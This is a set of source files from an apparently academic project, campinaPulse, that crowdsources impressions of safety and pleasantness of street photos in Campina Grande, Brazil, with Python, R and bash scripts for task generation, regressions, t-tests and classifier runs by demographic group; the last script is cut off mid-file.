# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'seguro?', bairro=bairro))
# else:
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'seguro?', bairro=bairro))
#
# all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'agradavel?', bairro=bairro))
# all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'seguro?', bairro=bairro))
#
# print ">>>> Bairro: ", bairro
# for r in all_res:
# print r[0]
# for i, f in enumerate(r[-1]):
# print f[0], r[1][i]
# print 'pval', r[2][i]
# print
# print '--'
#
#df = pd.read_csv('geralSetoresAJ.dat', sep=' ', encoding='utf8')
#df = df.drop(['red', 'green', 'blue', 'hor', 'vert', 'diag'], axis=1)
#for setor in ['25040090500004', '250400905000013', '250400905000060', '250400905000062', '250400905000095', '250400905000089']:
# all_res = []
#
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Masculino', 'Feminino', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Jovem', 'Adulto', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Solteiro', 'Casado', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Baixa', 'Media', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Baixa', 'Media', 'seguro?', setor=setor))
#
# all_res.append(ptest(df, 'Medio', 'Pos', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'Medio', 'Pos', 'seguro?', setor=setor))
#
# if setor == '250400905000060' or setor == '250400905000062':
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'CCatole', 'NCCatole', 'seguro?', setor=setor))
# elif setor == '25040090500004' or setor == '250400905000013':
# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'CCentro', 'NCCentro', 'seguro?', setor=setor))
# else:
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'agradavel?', setor=setor))
# all_res.append(ptest(df, 'CLiberdade', 'NCLiberdade', 'seguro?', setor=setor))
#
#all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'agradavel?', setor=setor))
#all_res.append(ptest(df, 'MenorMed', 'MaiorMed', 'agradavel?', setor=setor))
#
#
# print ">>>> Setor: ", setor
# for r in all_res:
# print r[0]
# for i, f in enumerate(r[-1]):
# print f[0], r[1][i]
# print 'pval', r[2][i]
# print
# print '--'
<file_sep>campinaPulse
============
This project aims at capturing the user impressions of the city of Campina Grande, Paraíba, Brazil. The user may answer one of the following
questions based on two photos presented:
- Qual local lhe parece mais seguro? (Which place looks safer?)
- Qual local lhe parece mais bonito? (Which place looks more beautiful?)
- Qual local lhe parece mais rico? (Which place looks richer?)
- Qual local lhe parece mais único? (Which place looks more unique?)
For each pair of photos presented the user may answer one of the above questions by clicking on the photo. If the user does not know which photo
is the more appropriate answer for a certain question she may click on the button "Tanto faz!" (Whatever).
This applications is developed using the Pybossa platform (https://github.com/PyBossa).
<file_sep># coding=utf-8
# This script receives a file with street names, qscores and lat/long and replaces street names whitespaces with _
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com ruas, qscore e lat/long>"
sys.exit(1)
data_file = open(sys.argv[1], "r")
lines = data_file.readlines()
data_file.close()
output_file = open(sys.argv[1], "w")
for line in lines:
data = line.split("+")
question = data[0].strip(" \t")
street = data[1].strip(" \t")
qscore = data[2].strip(" \t")
lat = data[3].strip(" \t")
lon = data[4].strip(" \t")
street_name = street.replace(" ", "_")
output_file.write(question+"+"+street_name+"+"+qscore+"+"+lat+"+"+lon)
output_file.close()
<file_sep>#!/bin/Rscript
# Analyses the regression of QScore in terms of color and amount of lines according to previous data of all-subset
library(leaps)
# Regressao categorica: contrasts(iris$Species.f) <- contr.treatment(3, base=3) -> base é o terceiro fator
# summary(lm(Petal.Width ~ Species.f, data = iris)) -> mostra regressao com f1 e f2 (primeiro e segundo fator)
calculateRegression <- function(file1, file2, shouldPlot=FALSE){
#Agradavel
data = read.table(file1, header=TRUE)
#Evaluating possible regressions with all-subset
dados = data.frame(qscore=data$qscore, red=data$red, green=data$green, blue=data$blue, diag=data$diag, hor=data$hor, vert=data$vert)
regsubsetsAgrad.out <<- regsubsets(qscore ~ red + green + blue + diag + vert + hor, data = dados, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
if(shouldPlot){
pdf(file = paste(file1, ".pdf"))
plot(regsubsetsAgrad.out, scale = "adjr2", main = "Adjusted R^2")
dev.off()
}
print(">>>> Regressao Agradavel: qscore = red + green + blue + diag + hor + vert")
#modelo = lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
modeloAgrad <<- lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
print(modeloAgrad)
print(summary(modeloAgrad))
#print(">>>> Regressao Agradavel: qscore = red + green + blue + diag")
#modelo = lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
#modelo = lm(qscore ~ red + green + blue + diag, data=dados)
#print(modelo)
#print(summary(modelo))
#Seguranca
data = read.table(file2, header=TRUE)
#Evaluating possible regressions with all-subset
dados = data.frame(qscore=data$qscore, red=data$red, green=data$green, blue=data$blue, diag=data$diag, hor=data$hor, vert=data$vert)
regsubsetsSeg.out <<- regsubsets(qscore ~ red + green + blue + diag + vert + hor, data = dados, nbest = 1, nvmax = NULL, force.in = NULL, force.out = NULL, method = "exhaustive")
if(shouldPlot){
pdf(file = paste(file2, ".pdf"))
plot(regsubsetsSeg.out, scale = "adjr2", main = "Adjusted R^2")
dev.off()
}
print(">>>> Regressao Seguro: qscore = red + green + blue + diag + hor + vert")
modeloSeg <<- lm(qscore ~ red + green + blue + diag + hor + vert, data=dados)
print(modeloSeg)
print(summary(modeloSeg))
#print(">>>> Regressao Seguro: qscore = red + green + diag + hor")
#modelo = lm(qscore ~ red + green + diag + hor, data=dados)
#print(modelo)
#print(summary(modelo))
}
args <- commandArgs(trailingOnly = TRUE)
if (length(args) > 1){
#Agradavel
file1 = args[1]
#Seguranca
file2 = args[2]
calculateRegression(file1, file2, TRUE)
}
<file_sep>---
title: "Análise Comparativa (TTests) Bairros"
output: pdf_document
---
##Feminino Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
library(ggplot2)
source('calculaTTest.R')
catole <- "bairros100/catoleAgradFemininoAll.dat"
centro <- "bairros100/centroAgradFemininoAll.dat"
liberdade <- "bairros100/liberdadeAgradFemininoAll.dat"
color <- "green"
output1 <- "Catole Agrad Feminino"
output2 <- "Centro Agrad Feminino"
output3 <- "Liberdade Agrad Feminino"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1))) +geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2))) +geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3))) +geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Feminino Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
source('calculaTTest.R')
catole <- "bairros100/catoleSegFemininoAll.dat"
centro <- "bairros100/centroSegFemininoAll.dat"
liberdade <- "bairros100/liberdadeSegFemininoAll.dat"
color <- "green"
output1 <- "Catole Seg Feminino"
output2 <- "Centro Seg Feminino"
output3 <- "Liberdade Seg Feminino"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
summary(liberdadeData)
summary(catoleData)
summary(centroData)
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Masculino Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleAgradMasculinoAll.dat"
centro <- "bairros100/centroAgradMasculinoAll.dat"
liberdade <- "bairros100/liberdadeAgradMasculinoAll.dat"
color <- "green"
output1 <- "Catole Agrad Masculino"
output2 <- "Centro Agrad Masculino"
output3 <- "Liberdade Agrad Masculino"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Masculino Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleSegMasculinoAll.dat"
centro <- "bairros100/centroSegMasculinoAll.dat"
liberdade <- "bairros100/liberdadeSegMasculinoAll.dat"
color <- "green"
output1 <- "Catole Seg Masculino"
output2 <- "Centro Seg Masculino"
output3 <- "Liberdade Seg Masculino"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
summary(liberdadeData)
summary(catoleData)
summary(centroData)
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Casado Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleAgradCasadoAll.dat"
centro <- "bairros100/centroAgradCasadoAll.dat"
liberdade <- "bairros100/liberdadeAgradCasadoAll.dat"
color <- "green"
output1 <- "Catole Agrad Casado"
output2 <- "Centro Agrad Casado"
output3 <- "Liberdade Agrad Casado"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Casado Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleSegCasadoAll.dat"
centro <- "bairros100/centroSegCasadoAll.dat"
liberdade <- "bairros100/liberdadeSegCasadoAll.dat"
color <- "green"
output1 <- "Catole Seg Casado"
output2 <- "Centro Seg Casado"
output3 <- "Liberdade Seg Casado"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Solteiro Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleAgradSolteiroAll.dat"
centro <- "bairros100/centroAgradSolteiroAll.dat"
liberdade <- "bairros100/liberdadeAgradSolteiroAll.dat"
color <- "green"
output1 <- "Catole Agrad Solteiro"
output2 <- "Centro Agrad Solteiro"
output3 <- "Liberdade Agrad Solteiro"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Solteiro Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleSegSolteiroAll.dat"
centro <- "bairros100/centroSegSolteiroAll.dat"
liberdade <- "bairros100/liberdadeSegSolteiroAll.dat"
color <- "green"
output1 <- "Catole Seg Solteiro"
output2 <- "Centro Seg Solteiro"
output3 <- "Liberdade Seg Solteiro"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Medio Agradável
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleAgradMedioAll.dat"
centro <- "bairros100/centroAgradMedioAll.dat"
liberdade <- "bairros100/liberdadeAgradMedioAll.dat"
color <- "green"
output1 <- "Catole Agrad Medio"
output2 <- "Centro Agrad Medio"
output3 <- "Liberdade Agrad Medio"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
##Medio Segurança
### Catole x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
catole <- "bairros100/catoleSegMedioAll.dat"
centro <- "bairros100/centroSegMedioAll.dat"
liberdade <- "bairros100/liberdadeSegMedioAll.dat"
color <- "green"
output1 <- "Catole Seg Medio"
output2 <- "Centro Seg Medio"
output3 <- "Liberdade Seg Medio"
calculateTTests(catole, centro, output1, output2, color, TRUE)
catoleData <- data1
centroData <- data2
```
### Liberdade x Centro
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(liberdade, centro, output3, output2, color, TRUE)
liberdadeData <- data1
```
### Catole x Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
calculateTTests(catole, liberdade, output1, output3, color, TRUE)
```
### Normalidade Catole, Centro, Liberdade
```{r, echo=FALSE, fig.show='asis', fig.width=3}
ggplot(catoleData, aes(y=catoleData$V3, x=c(output1)))+geom_boxplot() + ggtitle(paste("Boxplot ", output1))
ggplot(centroData, aes(y=centroData$V3, x=c(output2)))+geom_boxplot() + ggtitle(paste("Boxplot ", output2))
ggplot(liberdadeData, aes(y=liberdadeData$V3, x=c(output3)))+geom_boxplot() + ggtitle(paste("Boxplot ", output3))
qqnorm(catoleData$V3)
qqline(catoleData$V3)
qqnorm(centroData$V3)
qqline(centroData$V3)
qqnorm(liberdadeData$V3)
qqline(liberdadeData$V3)
```
<file_sep># coding=utf-8
# This script receives a file containing streets and QScores in order to retrieve the streets name to search in Google Geocode
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com ruas e qscore>"
sys.exit(1)
dataFile = open(sys.argv[1], "r")
lines = dataFile.readlines()
for line in lines:
data = line.split("\t")
street = data[1].split("/")[6]
streetName = " "
streetData = street.replace("_", " ").split(" ")
for value in streetData:
if len(value) > 0 and not ".jpg" in value:
streetName += value + " "
print data[0] + "+" + streetName + "+" + data[2].strip()
<file_sep># -*- coding: utf-8 -*-
import random
import sys
if __name__ == "__main__":
if len(sys.argv) < 4:
print "Uso: <numero de tarefas a serem geradas> <arquivo A com lista de fotos> <arquivo B com lista de fotos>"
sys.exit(1)
num_tarefas = int(sys.argv[1])
nome_arquivo_A = sys.argv[2]
nome_arquivo_B = sys.argv[3]
arquivo_A = open(nome_arquivo_A, 'r')
arquivo_B = open(nome_arquivo_B, 'r')
fotos_A = arquivo_A.readlines()
fotos_B = arquivo_B.readlines()
copy_A = list(fotos_A)
copy_B = list(fotos_B)
for iteration in range(0, num_tarefas):
choice_A = random.choice(copy_A)
choice_B = random.choice(copy_B)
copy_A.remove(choice_A)
copy_B.remove(choice_B)
if len(copy_A) == 0:
copy_A = list(fotos_A)
if len(copy_B) == 0:
copy_B = list(fotos_B)
print "seguro\t" + choice_A.strip(' \t\n\r') + "\t" + choice_B.strip(' \t\n\r')
<file_sep>#!/bin/bash
for input_file in classifier_input_wodraw.dat classifier_input_3classes.dat ; do
#classifier_input_rnr.dat ; do
outputSpec=''
if [ ${input_file} == 'classifier_input_lnl.dat' ] ; then
outputSpec='lnl'
elif [ ${input_file} == 'classifier_input_rnr.dat' ] ; then
outputSpec='rnr'
elif [ ${input_file} == 'classifier_input_wodraw.dat' ] ; then
outputSpec='wodraw'
else
outputSpec='3classes'
fi
echo "#### Only with urban elements features - Split before train ####" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Masculino" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random gender-masculino >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Feminino" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random gender-feminino >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Jovem" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random age-jovem >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Adulto" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random age-adulto >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Baixa" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random income-baixa >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Media" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random income-media >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Solteiro" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random marital-solteiro >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
echo ">> Casado" >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
python classify.py ${input_file} random marital-casado >> classifier_output_groups_random_wo_user_features_${outputSpec}.dat
done
<file_sep>
# coding: utf-8
# In[1]:
get_ipython().magic(u'matplotlib inline')
from __future__ import division, print_function
from scipy import stats as ss
from sklearn.preprocessing import StandardScaler
from statsmodels.stats import multitest
from statsmodels.regression.quantile_regression import QuantReg
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
# In[2]:
df = pd.read_csv('pleasantness.dat', sep=' ')
features = ['mov_cars', 'park_cars', 'debris', 'landscape',
'mov_ciclyst', 'street_wid', 'build_ident', 'trees',
'diff_build', 'people', 'build_height', 'red', 'green', 'blue']
#for x in df.columns:
# print(x)
# In[3]:
rank_jovem = df['V3.Jovem'].argsort()
rank_adulto = df['V3.Adulto'].argsort()
response = (rank_jovem - rank_adulto)
# In[4]:
orig = df[features].copy()
#import itertools
#for f1, f2 in itertools.combinations(orig.columns.copy(), 2):
# prod = orig[f1].values * orig[f2].values
# orig[f1 + '_times_' + f2] = prod
orig['is_catole'] = np.array(df['bairro'] == 'catole', dtype='d')
orig['is_centro'] = np.array(df['bairro'] == 'centro', dtype='d')
orig['is_liberdade'] = np.array(df['bairro'] == 'liberdade', dtype='d')
scaled = pd.DataFrame(StandardScaler().fit_transform(orig.copy().values),
columns=orig.columns)
print(orig.shape)
assert orig.shape == scaled.shape
# In[5]:
model = QuantReg(response, orig)
# In[6]:
for q in np.linspace(0.05, 0.95, 10):
print(q)
print(model.fit(q=q).summary())
print()
print()
# In[ ]:
# In[ ]:
# In[ ]:
<file_sep># coding=utf-8
# A partir de uma lista de fotos de tamanho X (sem template par a par!) gera uma proposta de tarefas no formato MaxDiff de tamanho Y
import sys
import random
from sets import Set
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
task_size = 4
photo_threshold = 13
def buildMaxDiff(photos_filename, user_question, output_filename):
photos_file = open(photos_filename, "r")
lines = photos_file.readlines()
photos_file.close()
output_file = open(output_filename, "w")
allPhotos = set([])
photo_count = {}
if "agrad" in user_question:
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
#Reading all photos
for line in lines:
photo = line.strip(' \t\n\r"')
allPhotos.add(photo)
photo_count[photo] = 0
allPhotos_bkp = allPhotos.copy()
#Building MaxDiff design with task_size photos per task
all_tasks = []
while len(allPhotos) > 0:
currentPhotos = []
photos = []
#If there are less photos than task_size, add all remaining and repeat others!
while len(photos) < task_size and set(photos) in all_tasks:
photos = []
if len(allPhotos) <= task_size:
photos.extend(allPhotos)
for i in range(0, task_size - len(photos)):#Retrieve remaining from bkp
photo = random.sample(allPhotos_bkp, 1)[0]
while photo in photos or photo in currentPhotos:
photo = random.sample(allPhotos_bkp, 1)[0]
photos.append(photo)
#Otherwise, randomize task_size photos
else:
photos = random.sample( allPhotos, task_size )
print ">>> LEN PHOTOS" + str(len(photos))
print ">>> PHOTOS " + str(photos)
#Updating photos counters
for photo in photos:
if photo_count.has_key(photo):
counter = photo_count.get(photo)
else:
print ">>> Error, photo not found! " + photo
sys.exit(1)
#if len(allPhotos) <= task_size:
# currentPhotos.append(photo)
# photo_count[photo] = photo_count[photo]+1
#elif counter < photo_threshold:
# currentPhotos.append(photo)
# photo_count[photo] = photo_count[photo]+1
currentPhotos.append(photo)
photo_count[photo] = photo_count[photo]+1
#Building current task
all_tasks.append(set(currentPhotos))
output_file.write(question)
for i in range(0, len(currentPhotos)):
output_file.write("\t" + currentPhotos[i])
output_file.write("\n")
#Checking if each photo reached threshold comparisons
for photo in currentPhotos:
if photo_count[photo] >= photo_threshold and photo in allPhotos:
allPhotos.remove(photo)
#Logging
for photo in allPhotos:
output_file.write("All photos remained with: " + photo + "\n")
for photo in photo_count.keys():
output_file.write("Counter for " + photo + "\t" + str(photo_count[photo])+"\n")
output_file.close()
def addMaxDiff(photos_filename, user_question, amount_new_photos, output_filename, new_output_filename, old_input_file):
allPhotos = buildMaxDiff(photos_filename, user_question, output_filename)
output_file = open(output_filename, "r")
output_lines = output_file.readlines()
output_file.close()
photos_file = open(photos_filename, "r")
input_lines = photos_file.readlines()
photos_file.close()
old_photos_file = open(old_input_file, "r")
old_input_lines = old_photos_file.readlines()
old_photos_file.close()
#All photos from input file and selecting new photos
allPhotos = []
for line in input_lines:
allPhotos.append(line.strip(' \t\n\r"'))
new_photos = allPhotos[-amount_new_photos:]
#All photos from previous list
old_photos = set([])
for line in old_input_lines:
old_photos.add(line.strip(' \t\n\r"'))
new_output_file = open(new_output_filename, "w")
#Selecting new photos which tasks should be added and searching for tasks with them
new_tasks = set([])
for line in output_lines:
for new_photo in new_photos:
if new_photo in line:
new_tasks.add(line.strip(' \t\n\r"'))
continue
for task in new_tasks:
if not "Counter" in task:
task_data = task.split('\t')
for index in range(1, len(task_data)):
photo_data = task_data[index]
if "foto_" in photo_data:
old_photo = random.sample(old_photos, 1)[0]
while old_photo in task_data:
old_photo = random.sample(old_photos, 1)[0]
task_data[index] = old_photo
print str(task_data)
new_output_file.write(task_data[0]+"\t"+task_data[1]+"\t"+task_data[2]+"\t"+task_data[3]+"\t"+task_data[4]+"\n")
else:
new_output_file.write(task+"\n")
new_output_file.close()
#Checking generated tasks
new_output_file = open(new_output_filename, "r")
for line in new_output_file.readlines():
if (not "Aprigio_Veloso" in line) and (not "Rodrigues_Alves" in line):
print ">>>>> ERROR! LINE " + str(line.strip(' \t\n\r"'))
else:
print ">>> LINE OK"
if __name__ == "__main__":
if len(sys.argv) < 5:
